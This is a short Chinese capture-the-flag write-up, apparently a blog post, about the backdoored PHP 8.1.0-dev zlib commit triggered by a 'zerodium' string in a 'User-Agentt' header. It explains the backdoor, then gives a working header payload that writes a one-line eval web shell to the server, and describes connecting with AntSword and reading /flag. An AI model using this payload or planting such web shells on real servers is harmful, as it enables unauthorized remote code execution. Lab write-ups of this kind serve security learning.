不知道什么东西，直接开搜
(复制黏贴)
漏洞原理
该事件是黑客利用具有git权限的账户提交了一个恶意commit，给PHP源码的zlib扩展增加了一个后门。如果该行由PHP驱动的网站运行，则将允许未经授权的访问者执行他们选择的代码。当发现请求特殊的HTTP头部中包含字符串zerodium时，则用eval执行User-Agent第8位字符后内容。利用该后门，攻击者可以执行任意命令，对于任何使用了存在后门PHP的服务器来说都有巨大的风险和威胁。
虚拟机抓包，添加
User-Agentt:zerodiumfile_put_contents(‘naby.php’,‘<?php eval($_POST["naby"]);?>’);
添加成功
使用蚁剑连接，进入虚拟终端输入 cat /flag 就得到flag了
519
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
